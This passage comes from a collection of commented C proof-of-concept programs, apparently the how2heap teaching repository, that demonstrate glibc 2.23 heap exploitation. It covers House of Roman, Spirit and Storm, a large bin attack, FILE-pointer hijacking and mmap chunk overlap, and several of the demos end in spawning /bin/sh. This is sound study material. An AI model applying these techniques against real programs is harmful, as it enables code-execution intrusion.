So, we should set chunk->bk to be _IO_list_all - 16
*/
top[3] = io_list_all - 0x10;
/*
At the end, the system function will be invoked with the pointer to this file pointer.
If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
*/
memcpy( ( char *) top, "/bin/sh\x00", 8);
/*
The function _IO_flush_all_lockp iterates through the file pointer linked-list
in _IO_list_all.
Since we can only overwrite this address with main_arena's unsorted-bin-list,
the idea is to get control over the memory at the corresponding fd-ptr.
The address of the next file pointer is located at base_address+0x68.
This corresponds to smallbin-4, which holds all the smallbins of
sizes between 90 and 98. For further information about the libc's bin organisation
see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/
Since we overflow the old top chunk, we also control it's size field.
Here it gets a little bit tricky, currently the old top chunk is in the
unsortedbin list. For each allocation, malloc tries to serve the chunks
in this list first, therefore, iterates over the list.
Furthermore, it will sort all non-fitting chunks into the corresponding bins.
If we set the size to 0x61 (97) (prev_inuse bit has to be set)
and trigger an non fitting smaller allocation, malloc will sort the old chunk into the
smallbin-4. Since this bin is currently empty the old top chunk will be the new head,
therefore, occupying the smallbin[4] location in the main_arena and
eventually representing the fake file pointer's fd-ptr.
In addition to sorting, malloc will also perform certain size checks on them,
so after sorting the old top chunk and following the bogus fd pointer
to _IO_list_all, it will check the corresponding size field, detect
that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ"
and finally triggering the abort call that gets our chain rolling.
Here is the corresponding code in the libc:
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717
*/
top[1] = 0x61;
/*
Now comes the part where we satisfy the constraints on the fake file pointer
required by the function _IO_flush_all_lockp and tested here:
https://code.woboq.org/userspace/glibc/libio/genops.c.html#813
We want to satisfy the first condition:
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
*/
FILE *fp = (FILE *) top;
/*
1. Set mode to 0: fp->_mode <= 0
*/
fp->_mode = 0; // top+0xc0
/*
2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
*/
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
/*
4) Finally set the jump table to controlled memory and place system there.
The jump table pointer is right after the FILE struct:
base_address+sizeof(FILE) = jump_table
4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner
*/
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8
/* Finally, trigger the whole chain by calling malloc */
malloc(10);
/*
The libc's error message will be printed to the screen
But you'll get a shell anyways.
*/
return 0;
}
int winner(char *ptr)
{
system(ptr);
syscall(SYS_exit, 0);
return 0;
}
================================================
FILE: glibc_2.23/house_of_roman.c
================================================
#define _GNU_SOURCE /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>
char* shell = "/bin/sh\x00";
/*
Technique was tested on GLibC 2.23, 2.24 via the glibc_build.sh script inside of how2heap on Ubuntu 16.04. 2.25 was tested on Ubuntu 17.04.
Compile: gcc -fPIE -pie house_of_roman.c -o house_of_roman
POC written by Maxwell Dulin (Strikeout)
*/
// Use this in order to turn off printf buffering (messes with heap alignment)
void* init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
int main(){
/*
The main goal of this technique is to create a **leakless** heap
exploitation technique in order to get a shell. This is mainly
done using **relative overwrites** in order to get pointers in
the proper locations without knowing the exact value of the pointer.
The first step is to get a pointer inside of __malloc_hook. This
is done by creating a fastbin bin that looks like the following:
ptr_to_chunk -> ptr_to_libc. Then, we alter the ptr_to_libc
(with a relative overwrite) to point to __malloc_hook.
The next step is to run an unsorted bin attack on the __malloc_hook
(which is now controllable from the previous attack). Again, we run
the unsorted_bin attack by altering the chunk->bk with a relative overwrite.
Finally, after launching the unsorted_bin attack to put a libc value
inside of __malloc_hook, we use another relative overwrite on the
value of __malloc_hook to point to a one_gadget, system or some other function.
Now, the next time we run malloc we pop a shell! :)
However, this does come at a cost: 12 bits of randomness must be
brute forced (0.02% chance) of working.
The original write up for the *House of Roman* can be found at
https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc#assumptions.
This technique requires the ability to edit fastbin and unsorted bin
pointers via UAF or overflow of some kind. Additionally, good control
over the allocations sizes and freeing is required for this technique.
*/
char* introduction = "\nWelcome to the House of Roman\n\n"
"This is a heap exploitation technique that is LEAKLESS.\n"
"There are three stages to the attack: \n\n"
"1. Point a fastbin chunk to __malloc_hook.\n"
"2. Run the unsorted_bin attack on __malloc_hook.\n"
"3. Relative overwrite on main_arena at __malloc_hook.\n\n"
"All of the stuff mentioned above is done using two main concepts:\n"
"relative overwrites and heap feng shui.\n\n"
"However, this technique comes at a cost:\n"
"12-bits of entropy need to be brute forced.\n"
"That means this technique only work 1 out of every 4096 tries or 0.02%.\n"
"**NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient\n\n\n";
puts(introduction);
init();
/*
Part 1: Fastbin Chunk points to __malloc_hook
Getting the main_arena in a fastbin chunk ordering is the first step.
This requires a ton of heap feng shui in order to line this up properly.
However, at a glance, it looks like the following:
First, we need to get a chunk that is in the fastbin with a pointer to
a heap chunk in the fd.
Second, we point this chunk to a pointer to LibC (in another heap chunk).
All of the setup below is in order to get the configuration mentioned
above setup to perform the relative overwrites. ";
Getting the pointer to libC can be done in two ways:
- A split from a chunk in the small/large/unsorted_bins
gets allocated to a size of 0x70.
- Overwrite the size of a small/large chunk used previously to 0x71.
For the sake of example, this uses the first option because it
requires less vulnerabilities.
*/
puts("Step 1: Point fastbin chunk to __malloc_hook\n\n");
puts("Setting up chunks for relative overwrites with heap feng shui.\n");
// Use this as the UAF chunk later to edit the heap pointer later to point to the LibC value.
uint8_t* fastbin_victim = malloc(0x60);
// Allocate this in order to have good alignment for relative
// offsets later (only want to overwrite a single byte to prevent
// 4 bits of brute on the heap).
malloc(0x80);
// Offset 0x100
uint8_t* main_arena_use = malloc(0x80);
// Offset 0x190
// This ptr will be used for a relative offset on the 'main_arena_use' chunk
uint8_t* relative_offset_heap = malloc(0x60);
// Free the chunk to put it into the unsorted_bin.
// This chunk will have a pointer to main_arena + 0x68 in both the fd and bk pointers.
free(main_arena_use);
/*
Get part of the unsorted_bin chunk (the one that we just freed).
We want this chunk because the fd and bk of this chunk will
contain main_arena ptrs (used for relative overwrite later).
The size is particularly set at 0x60 to put this into the 0x70 fastbin later.
This has to be the same size because the __malloc_hook fake
chunk (used later) uses the fastbin size of 0x7f. There is
a security check (within malloc) that the size of the chunk matches the fastbin size.
*/
puts("Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n");
//Offset 0x100. Has main_arena + 0x68 in fd and bk.
uint8_t* fake_libc_chunk = malloc(0x60);
//// NOTE: This is NOT part of the exploit... \\\
// The __malloc_hook is calculated in order for the offsets to be found so that this exploit works on a handful of versions of GLibC.
long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;
// We need the filler because the overwrite below needs
// to have a ptr in the fd slot in order to work.
//Freeing this chunk puts a chunk in the fd slot of 'fastbin_victim' to be used later.
free(relative_offset_heap);
/*
Create a UAF on the chunk. Recall that the chunk that fastbin_victim
points to is currently at the offset 0x190 (heap_relative_offset).
*/
free(fastbin_victim);
/*
Now, we start doing the relative overwrites, since that we have
the pointers in their proper locations. The layout is very important to
understand for this.
Current heap layout:
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
Now, the relative overwriting begins:
Recall that fastbin_victim points to relative_offset_heap
(which is in the 0x100-0x200 offset range). The fastbin uses a singly
linked list, with the next chunk in the 'fd' slot.
By *partially* editing the fastbin_victim's last byte (from 0x90
to 0x00) we have moved the fd pointer of fastbin_victim to
fake_libc_chunk (at offset 0x100).
Also, recall that fake_libc_chunk had previously been in the unsorted_bin.
Because of this, it has a fd pointer that points to main_arena + 0x68.
Now, the fastbin looks like the following:
fastbin_victim -> fake_libc_chunk ->(main_arena + 0x68).
The relative overwrites (mentioned above) will be demonstrates step by step below.
*/
puts("\
Overwrite the first byte of a heap chunk in order to point the fastbin chunk\n\
to the chunk with the LibC address\n");
puts("\
Fastbin 0x70 now looks like this:\n\
heap_addr -> heap_addr2 -> LibC_main_arena\n");
fastbin_victim[0] = 0x00; // The location of this is at 0x100. But, we only want to overwrite the first byte. So, we put 0x0 for this.
/*
Now, we have a fastbin that looks like the following:
0x70: fastbin_victim -> fake_libc_chunk -> (main_arena + 0x68)
We want the fd ptr in fake_libc_chunk to point to something useful.
So, let's edit this to point to the location of the __malloc_hook.
This way, we can get control of a function ptr.
To do this, we need a valid malloc size. Within the __memalign_hook
is usually an address that usually starts with 0x7f.
Because __memalign_hook value is right before this are all 0s,
we could use a misaligned chunk to get this to work as a valid size in
the 0x70 fastbin.
This is where the first 4 bits of randomness come into play.
The first 12 bits of the LibC address are deterministic for the address.
However, the next 4 (for a total of 2 bytes) are not.
So, we have to brute force 2^4 different possibilities (16)
in order to get this in the correct location. This 'location'
is different for each version of GLibC (should be noted).
After doing this relative overwrite, the fastbin looks like the following:
0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23).
*/
/*
Relatively overwrite the main_arena pointer to point to a valid
chunk close to __malloc_hook.
///// NOTE: In order to make this exploit consistent
(not brute forcing with hardcoded offsets), we MANUALLY set the values. \\\
In the actual attack, this values would need to be specific
to a version and some of the bits would have to be brute forced
(depending on the bits).
*/
puts("\
Use a relative overwrite on the main_arena pointer in the fastbin.\n\
Point this close to __malloc_hook in order to create a fake fastbin chunk\n");
long long __malloc_hook_adjust = __malloc_hook - 0x23; // We substract 0x23 from the malloc because we want to use a 0x7f as a valid fastbin chunk size.
// The relative overwrite
int8_t byte1 = (__malloc_hook_adjust) & 0xff;
int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
fake_libc_chunk[0] = byte1; // Least significant bytes of the address.
fake_libc_chunk[1] = byte2; // The upper most 4 bits of this must be brute forced in a real attack.
// Two filler chunks prior to the __malloc_hook chunk in the fastbin.
// These are fastbin_victim and fake_libc_chunk.
puts("Get the fake chunk pointing close to __malloc_hook\n");
puts("\
In a real exploit, this would fail 15/16 times\n\
because of the final half byet of the malloc_hook being random\n");
malloc(0x60);
malloc(0x60);
// If the 4 bit brute force did not work, this will crash because
// of the chunk size not matching the bin for the chunk.
// Otherwise, the next step of the attack can begin.
uint8_t* malloc_hook_chunk = malloc(0x60);
puts("Passed step 1 =)\n\n\n");
/*
Part 2: Unsorted_bin attack
Now, we have control over the location of the __malloc_hook.
However, we do not know the address of LibC still. So, we cannot
do much with this attack. In order to pop a shell, we need
to get an address at the location of the __malloc_hook.
We will use the unsorted_bin attack in order to change the value
of the __malloc_hook with the address of main_arena + 0x68.
For more information on the unsorted_bin attack, review
https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c.
For a brief overview, the unsorted_bin attack allows us to write
main_arena + 0x68 to any location by altering the chunk->bk of
an unsorted_bin chunk. We will choose to write this to the
location of __malloc_hook.
After we overwrite __malloc_hook with the main_arena, we will
edit the pointer (with a relative overwrite) to point to a
one_gadget for immediate code execution.
Again, this relative overwrite works well but requires an additional
1 byte (8 bits) of brute force.
This brings the chances of a successful attempt up to 12 bits of
randomness. This has about a 1/4096 or a 0.0244% chance of working.
The steps for phase two of the attack are explained as we go below.
*/
puts("\
Start Step 2: Unsorted_bin attack\n\n\
The unsorted bin attack gives us the ability to write a\n\
large value to ANY location. But, we do not control the value\n\
This value is always main_arena + 0x68. \n\
We point the unsorted_bin attack to __malloc_hook for a \n\
relative overwrite later.\n");
// Get the chunk to corrupt. Add another ptr in order to prevent consolidation upon freeing.
uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate
puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
/* /// NOTE: The last 4 bits of byte2 would have been brute forced earlier. \\\
However, for the sake of example, this has been calculated dynamically.
*/
__malloc_hook_adjust = __malloc_hook - 0x10; // This subtract 0x10 is needed because of the chunk->fd doing the actual overwrite on the unsorted_bin attack.
byte1 = (__malloc_hook_adjust) & 0xff;
byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
// Use another relative offset to overwrite the ptr of the chunk->bk pointer.
// From the previous brute force (4 bits from before) we
// know where the location of this is at. It is 5 bytes away from __malloc_hook.
puts("Overwrite last two bytes of the chunk to point to __malloc_hook\n");
unsorted_bin_ptr[8] = byte1; // Byte 0 of bk.
// //// NOTE: Normally, the second half of the byte would HAVE to be brute forced. However, for the sake of example, we set this in order to make the exploit consistent. ///
unsorted_bin_ptr[9] = byte2; // Byte 1 of bk. The second 4 bits of this was brute forced earlier, the first 4 bits are static.
/*
Trigger the unsorted bin attack.
This will write the value of (main_arena + 0x68) to whatever is in the bk ptr + 0x10.
A few things do happen though:
- This makes the unsorted bin (hence, small and large too)
unusable. So, only allocations previously in the fastbin can only be used now.
- If the same size chunk (the unsorted_bin attack chunk)
is NOT malloc'ed, the program will crash immediately afterwards.
So, the allocation request must be the same as the unsorted_bin chunk.
The first point is totally fine (in this attack). But, in more complicated
programming, this can be an issue.
The second just requires us to do the same size allocaton as the current chunk.
*/
puts("Trigger the unsorted_bin attack\n");
malloc(0x80); // Trigger the unsorted_bin attack to overwrite __malloc_hook with main_arena + 0x68
long long system_addr = (long long)dlsym(RTLD_NEXT, "system");
puts("Passed step 2 =)\n\n\n");
/*
Step 3: Set __malloc_hook to system
The chunk itself is allocated 19 bytes away from __malloc_hook.
So, we use a realtive overwrite (again) in order to partially overwrite
the main_arena pointer (from unsorted_bin attack) to point to system.
In a real attack, the first 12 bits are static (per version).
But, after that, the next 12 bits must be brute forced.
/// NOTE: For the sake of example, we will be setting these values, instead of brute forcing them. \\\
*/
puts("Step 3: Set __malloc_hook to system/one_gadget\n\n");
puts("\
Now that we have a pointer to LibC inside of __malloc_hook (from step 2), \n\
we can use a relative overwrite to point this to system or a one_gadget.\n\
Note: In a real attack, this would be where the last 8 bits of brute forcing\n\
comes from.\n");
malloc_hook_chunk[19] = system_addr & 0xff; // The first 12 bits are static (per version).
malloc_hook_chunk[20] = (system_addr >> 8) & 0xff; // The last 4 bits of this must be brute forced (done previously already).
malloc_hook_chunk[21] = (system_addr >> 16) & 0xff; // The last byte is the remaining 8 bits that must be brute forced.
malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; // If the gap is between the data and text section is super wide, this is also needed. Just putting this in to be safe.
// Trigger the malloc call for code execution via the system call being ran from the __malloc_hook.
// In a real example, you would probably want to use a one_gadget.
// But, to keep things portable, we will just use system and add a pointer to /bin/sh as the parameter
// Although this is kind of cheating (the binary is PIE), if the binary was not PIE having a pointer into the .bss section would work without a single leak.
// To get the system address (eariler on for consistency), the binary must be PIE though. So, the address is put in here.
puts("Pop Shell!");
malloc((long long)shell);
}
================================================
FILE: glibc_2.23/house_of_spirit.c
================================================
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
================================================
FILE: glibc_2.23/house_of_storm.c
================================================
/*
POC for House of Storm on 2.23
For 2.26-2.28, the tcache will need to
be full for this to work. After this,
a patch to the unsorted bin attack likely prevents this
technique from working.
This technique uses a combination of editing
the unsorted bin chunk and the large bin chunks
to write a 'size' to a user choosen address in memory.
Once this has occurred, if the size at this 'fake'
location is the same size as the allocation,
then the chunk will be returned back to the user.
This attack allows arbitrary chunks to be returned
to the user!
Written by Maxwell "Strikeout" Dulin
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char filler[0x10];
char target[0x60];
void init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
// clearenv();
}
// Get the AMOUNT to shift over for size and the offset on the largebin.
// Needs to be a valid minimum sized chunk in order to work.
int get_shift_amount(char* pointer){
int shift_amount = 0;
long long ptr = (long long)pointer;
while(ptr > 0x20){
ptr = ptr >> 8;
shift_amount += 1;
}
return shift_amount - 1; // Want amount PRIOR to this being zeroed out
}
int main(){
init();
char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
puts("House of Storm");
puts("======================================");
puts("Preparing chunks for the exploit");
puts("Put one chunk into unsorted bin and the other into the large bin");
puts("The unsorted bin chunk MUST be larger than the large bin chunk.");
/*
Putting a chunk into the unsorted bin and another
into the large bin.
*/
unsorted_bin = malloc ( 0x4e8 ); // size 0x4f0
// prevent merging
malloc ( 0x18 );
puts("Find the proper chunk size to allocate.");
puts("Must be exactly the size of the written chunk from above.");
/*
Find the proper size to allocate
We are using the first 'X' bytes of the heap to act
as the 'size' of a chunk. Then, we need to allocate a
chunk exactly this size for the attack to work.
So, in order to do this, we have to take the higher
bits of the heap address and allocate a chunk of this
size, which comes from the upper bytes of the heap address.
NOTE:
- This does have a 1/2 chance of failing. If the 4th bit
of this value is set, then the size comparison will fail.
- Without this calculation, this COULD be brute forced.
*/
int shift_amount = get_shift_amount(unsorted_bin);
printf("Shift Amount: %d\n", shift_amount);
size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
if(alloc_size < 0x10){
printf("Chunk Size: 0x%lx\n", alloc_size);
puts("Chunk size is too small");
exit(1);
}
alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits
printf("In this case, the chunk size is 0x%lx\n", alloc_size);
// Checks to see if the program will crash or not
/*
The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first.
Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438
validates to see if ONE of the following cases is true:
- av == arena_for_chunk (mem2chunk (mem))
- chunk is mmaped
If the 'non-main arena' bit is set on the chunk, then the
first case will fail.
If the mmap bit is set, then this will pass.
So, either the arenas need to match up (our fake chunk is in the
.bss section for this demo. So, clearly, this will not happen) OR
the mmap bit must be set.
The logic below validates that the fourth bit of the size
is NOT set and that either the mmap bit is set or the non-main
arena bit is NOT set. If this is the case, the exploit should work.
*/
if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
puts("Allocation size has bit 4 of the size set or ");
puts("mmap and non-main arena bit check will fail");
puts("Please try again! :)");
puts("Exiting...");
return 1;
}
large_bin = malloc ( 0x4d8 ); // size 0x4e0
// prevent merging
malloc ( 0x18 );
// FIFO
free ( large_bin ); // put small chunks first
free ( unsorted_bin );
// Put the 'large bin' chunk into the large bin
unsorted_bin = malloc(0x4e8);
free(unsorted_bin);
/*
At this point, there is a single chunk in the
large bin and a single chunk in the unsorted bin.
It should be noted that the unsorted bin chunk
should be LARGER in size than the large bin chunk
but should still be within the same bin.
In this setup, the large_bin has a chunk
of size 0x4e0 and the unsorted bin
has a chunk of size 0x4f0. This technique relies on
the unsorted bin chunk being added to the same bin
but a larger chunk size. So, careful heap feng shui
must be done.
*/
// The address that we want to write to!
fake_chunk = target - 0x10;
puts("Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\n This is our target location to get from the allocator");
/*
The address of our fake chunk is set to the unsorted bin
chunks 'bk' pointer.
This launches the 'unsorted_bin' attack but it is NOT the
main purpose of us doing this.
After launching the 'unsorted_bin attack' the 'victim' pointer
will be set to THIS address. Our goal is to find a way to get
this address from the allocator.
Vulnerability!!
*/
((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
// Only needs to be a valid address.
(( size_t *) large_bin )[1] = (size_t)fake_chunk + 8 ; // large_bin->fd
puts("Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location");
puts("of your fake chunk.");
puts("Misalign the location in order to use the primitive as a SIZE value.");
puts("The 'offset' changes depending on if the binary is PIE (5) or not PIE (2).");
puts("Vulnerability #2!");
puts("Overwrite large bins bk->nextsize with the address to put our fake chunk size at.");
/*
This can be seen as a WRITE-WHERE primitive in the large bin.
However, we are going to write a 'size' for our fake chunk using this.
So, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579
to an address for our fake size. The write above (bk_nextsize) is
controlled via the pointer we are going to overwrite below. The
value that gets written is a heap address; the unsorted bin
chunk address above.
The 'key' to this is the offset. First, we subtract 0x18 because
this is the offset to writting to fd_nextsize in the code shown
above. Secondly, notice the -2 below. We are going
to write a 'heap address' at a mis-aligned location and
use THIS as the size. For instance, if the heap address is 0x123456
and the pointer is set to 0x60006. This will write the following way:
- 0x60006: 0x56
- 0x60007: 0x34
- 0x60008: 0x12
Now, our 'fake size' is at 0x60008 and is a valid size for the
fake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk
from the allocator.
Second vulnerability!!!
*/
(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize
/*
At this point, we've corrupted everything in just the right
way so this should work.
The purpose of the attack is to have a corrupted 'bk' pointer
point to ANYWHERE we want and still get the memory back. We do
this by using the large bin code to write a size to the 'bk'
location.
This call to malloc (if you're lucky), will return a pointer
to the fake chunk that we created above.
*/
puts("Make allocation of the size that the value will be written for.");
puts("Once the allocation happens, the madness begins");
puts("Once in the unsorted bin, the 'large bin' chunk will be used in orer to ");
puts("write a fake 'size' value to the location of our target.");
puts("After this, the target will have a valid size.");
puts("Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid");
puts("size and remove it from the bin.");
puts("With this, we have pulled out an arbitrary chunk!");
printf("String before: %s\n", target);
printf("String pointer: %p\n", target);
ptr = malloc(alloc_size);
strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1);
printf("String after %s\n", target);
printf("Fake chunk ptr: %p\n", ptr);
return 0;
}
================================================
FILE: glibc_2.23/large_bin_attack.c
================================================
/*
This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
[...]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
[...]
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
For more details on how large-bins are handled and sorted by ptmalloc,
please check the Background section in the aforementioned link.
[...]
*/
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int main()
{
fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsigned long *p1 = malloc(0x420);
fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);
unsigned long *p2 = malloc(0x500);
fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);
unsigned long *p3 = malloc(0x500);
fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);
free(p1);
free(p2);
fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
malloc(0x90);
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));
free(p3);
fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
//------------------------------------
malloc(0x90);
fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
// sanity check
assert(stack_var1 != 0);
assert(stack_var2 != 0);
return 0;
}
================================================
FILE: glibc_2.23/mmap_overlapping_chunks.c
================================================
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <unistd.h>
/*
Technique should work on all versions of GLibC
Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`
POC written by POC written by Maxwell Dulin (Strikeout)
*/
int main()
{
/*
A primer on Mmap chunks in GLibC
==================================
In GLibC, there is a point where an allocation is so large that malloc
decides that we need a seperate section of memory for it, instead
of allocating it on the normal heap. This is determined by the mmap_threshold var.
Instead of the normal logic for getting a chunk, the system call *Mmap* is
used. This allocates a section of virtual memory and gives it back to the user.
Similarly, the freeing process is going to be different. Instead
of a free chunk being given back to a bin or to the rest of the heap,
another syscall is used: *Munmap*. This takes in a pointer of a previously
allocated Mmap chunk and releases it back to the kernel.
Mmap chunks have special bit set on the size metadata: the second bit. If this
bit is set, then the chunk was allocated as an Mmap chunk.
Mmap chunks have a prev_size and a size. The *size* represents the current
size of the chunk. The *prev_size* of a chunk represents the left over space
from the size of the Mmap chunk (not the chunks directly belows size).
However, the fd and bk pointers are not used, as Mmap chunks do not go back
into bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of
the chunk must be page-aligned.
The POC below is essentially an overlapping chunk attack but on mmap chunks.
This is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c.
The main difference is that mmapped chunks have special properties and are
handled in different ways, creating different attack scenarios than normal
overlapping chunk attacks. There are other things that can be done,
such as munmapping system libraries, the heap itself and other things.
This is meant to be a simple proof of concept to demonstrate the general
way to perform an attack on an mmap chunk.
For more information on mmap chunks in GLibC, read this post:
http://tukan.farm/2016/07/27/munmap-madness/
*/
int* ptr1 = malloc(0x10);
printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n");
printf("Extremely large chunks are special because they are allocated in their own mmaped section\n");
printf("of memory, instead of being put onto the normal heap.\n");
puts("=======================================================\n");
printf("Allocating three extremely large heap chunks of size 0x100000 \n\n");
long long* top_ptr = malloc(0x100000);
printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);
// After this, all chunks are allocated downwards in memory towards the heap.
long long* mmap_chunk_2 = malloc(0x100000);
printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);
long long* mmap_chunk_3 = malloc(0x100000);
